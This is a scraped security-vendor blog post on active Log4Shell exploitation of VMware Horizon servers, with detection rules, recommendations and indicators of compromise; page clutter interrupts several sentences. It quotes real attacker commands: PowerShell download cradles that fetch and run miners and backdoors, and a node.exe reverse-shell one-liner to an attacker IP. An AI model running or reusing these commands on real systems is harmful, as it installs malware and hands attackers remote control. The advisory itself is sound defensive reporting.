Active Exploitation of VMware Horizon Servers

Jan 18, 2022 | 4 min read |

Glenn Thorpe

Last updated at Mon, 07 Feb 2022 15:41:09 GMT

This post is co-authored by Charlie Stafford, Lead Security Researcher.

We will update this blog with further information as it becomes available.

Topics

Metasploit (653)

Vulnerability Management (359)

Research (236)

Detection and Response (205)

Vulnerability Disclosure (148)

Emergent Threat Response (141)

Cloud Security (136)

Security Operations (20)

Popular Tags

Contact Us

CVE-2021-44228	VMware Advisory	AttackerKB	February 4, 2022	Em

Summary

Attackers are actively targeting VMware Horizon servers vulnerable to Apache Log4j CVE-2021-44228 (Log4Shell) and related vulnerabilities that were patched in December 2021 . We're sharing our observed activities and indicators of compromise (IOCs) related to this activity.

Details

Beginning Friday, January 14, 2022, Rapid7 Managed Detection & Response (MDR) began monitoring a sudden

Metasploit

Metasploit Weekly Wrapup

Vulnerability Management

Research

Logentries

Detection and Response

Related Posts

Fortinet FortiManager CVE-2024-47575 Exploited in Zero-Day Attacks

READ MORE

Multiple Vulnerabilities in Common Unix Printing System (CUPS)

READ MORE

High-Risk Vulnerabilities in

Contact Us

observed threat activity detailed by NHS Digital . Rapid7 services and research teams expect to see a continued strong upward trend in attacker activity directed at VMware Horizon instances vulnerable to Log4Shell exploits.

Rapid7 customers

Rapid7 InsightIDR and MDR customers: Alerts generated by the following detection rules can assist in identifying successful VMware Horizon exploitation:

- Attacker Technique - PowerShell Download Cradles (created: Thursday, January 3, 2019, 15:31:27 UTC)

CVE-2024-40766: Critical Improper Access Control Vulnerability Affecting SonicWall Devices

READ MORE

Contact Us

January 6, 2022, 14:18:21 UTC)

- On January 19, 2022 this rule has been renamed "Suspicious Process - VMWare Horizon Spawns Process"

Rapid7 researchers are currently evaluating the feasibility of adding a VMware Horizon vulnerability check for Nexpose/InsightVM.

We have a dedicated resource page for the Log4j vulnerability, which includes our AttackerKB analysis of Log4Shell containing a proof-of-concept exploit for VMware Horizon.

Recommendations

Contact Us

Horizon in their environment should update to a patched version of Horizon on an emergency basis and review the system(s) for signs of compromise. As a general practice, Rapid7 recommends never exposing VMware Horizon to the public internet, only allowing access behind a VPN.

Organizations are advised to proactively block traffic to the IPs/URLs listed in the IOCs section.

Observed activities

Rapid7's Threat Intelligence and Detection Engineering (TIDE) team has identified five unique avenues that attackers have

Contact Us

exploitation activity.

The most common activity sees the attacker executing PowerShell and using the built-in System.Net.WebClient object to download cryptocurrency mining software to the system.

TIDE has observed the attacker downloading cryptocurrency miners from the following URLs:

- `http://72.46.52[.]135/mad_micky.bat`
- `http://80.71.158[.]96/xms.ps1`
- `http://101.79.1[.]118/2.ps1`

The following is an example PowerShell command from this activity (note that these contents were originally base64 encoded):

```
$tempfile =
[System.IO.Path]::GetTempFileName();
$tempfile += '.bat';
$wc.DownloadFile('http://72.46.52[.]135/mad_micky.bat',
$tempfile); &
$tempfile
```

The System.Net.WebClient download cradle has also been used by one unknown actor to deploy a reverse shell based on Invoke-WebRev (https://raw.githubusercontent.com/3v4Si0N/HTTP-revshell/master/Invoke-WebRev.ps1) from `http://87.121.52[.]221:443/dd.ps1`. Another actor has used it to download a Cobalt Strike backdoor from `http://185.112.83[.]116:8080/drv`. This backdoor was created using the trial version of Cobalt Strike, meaning it contains the

One actor attempts to use System.Net.WebClient to download a rudimentary backdoor from `http://0.tcp.ngrok[.]io:18765/qs.exe`. If this method fails, the PowerShell BitsTransfer object is used as a backup download method. In this instance, the actor is using ngrok[.]io URLs. NGrok is a tool that allows a user to tunnel traffic through a NAT or firewall. The backdoor communicates with `http://2.tcp.ngrok[.]io:19969/index.php` and will execute PowerShell commands received from that host.

Example command from this activity:

```
c:\users\public\qs.exe";Import-
Module
BitsTransfer;try{(New-
Object
System.Net.WebClient).DownloadFile($a,
$b);Start-Process -
FilePath
$b;exit;}catch{};try{Start-
BitsTransfer -Source
$a -Destination
$b;Start-Process -
FilePath
$b;exit;}catch{};try{(New-
Object
System.Net.WebClient).DownloadFile($a,
$c);Start-Process -
FilePath
$c;exit;}catch{};try{Start-
BitsTransfer -Source
$a -Destination
$c;Start-Process -
FilePath
$c;exit;}catch{}
```

Contact Us

copy of Node included with the VMWare server at `C:\Program Files\VMware\VMware View\Server\appblastgateway\node.exe`. Node is used to execute a small snippet of JavaScript code that establishes a reverse shell to `146.59.130.58`:

```
C:\"Program Files"\VMware\"VMware View"\Server\appblastgateway\node.exe -r net -e "sh = require('child_process').exec('cmd.exe');var client = new net.Socket();client.connect(4460, '146.59.130.58', function() {client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(cli
```

Indicators of compromise

has observed related to this

activity is as follows:

- 72.46.52[.]135
  - mad_micky.bat
  - 58e22726592ec5ab6ca49eda2fdb7017
- 80.71.158[.]96
  - xms.ps1
  - e397087edf21ad9da907b595691ce15e
- 101.79.1[.]118
  - 2.ps1
  - 6422ede9aadd1a768cb57fe06c1155ad
- 87.121.52[.]221
  - dd.ps1
  - f7d5a47321e436fe33e03c4dbf29bd92
- 185.112.83[.]116
  - drv
  - 00a4e6f11d2dae5146995aa489292677

  - qs.exe
  - 1fcf790cc9c66794ae93c114c61b412e
- 146.59.130.58

Updates

January 19, 2020 - IDR rule `VMWare Horizon Spawns CMD or PowerShell` has been renamed `Suspicious Process - VMWare Horizon Spawns Process`

February 4, 2022 - IVM content has been added for CVE-2021-4506 (the Log4j weakness identified within VMware Horizon Connection Server).

POST TAGS

Emergent Threat Response

Log4Shell

log4j

SHARING IS CARING

AUTHOR

Glenn Thorpe

VIEW GLENN'S POSTS

Related Posts

Contact Us

Exploited in Zero-Day Attacks

READ FULL POST

Printing System (CUPS)

READ FULL POST

EMERGENT THREAT RESPONSE

High-Risk Vulnerabilities in Common Enterprise Technologies

READ FULL POST

EMERGENT THREAT RESPONSE

CVE-2024-40766: Critical Improper Access Control Vulnerability Affecting SonicWall Devices

READ FULL POST

VIEW ALL POSTS

Search all the things

BACK TO TOP

CUSTOMER SUPPORT

+1-866-390-8113 (Toll Free)

SALES SUPPORT

SOLUTIONS

The Command Platform

Exposure Command

Managed Threat Complete

Contact Us

RAPID7

Select

START TRIAL

GET HELP

SUPPORT & RESOURCES

Product Support

Resource Library

Our Customers

Events & Webcasts

Training & Certification

Cybersecurity Fundamentals

Vulnerability & Exploit Database

ABOUT US

Company

Diversity, Equity, and Inclusion

Leadership

News & Press Releases

Public Policy

Open Source

Investors

CONNECT WITH US

Contact

Blog

Support Login

Careers

Legal Terms Privacy Policy Export Notice Trust
Do Not Sell or Share My Personal Information Cookie Preferences

Contact Us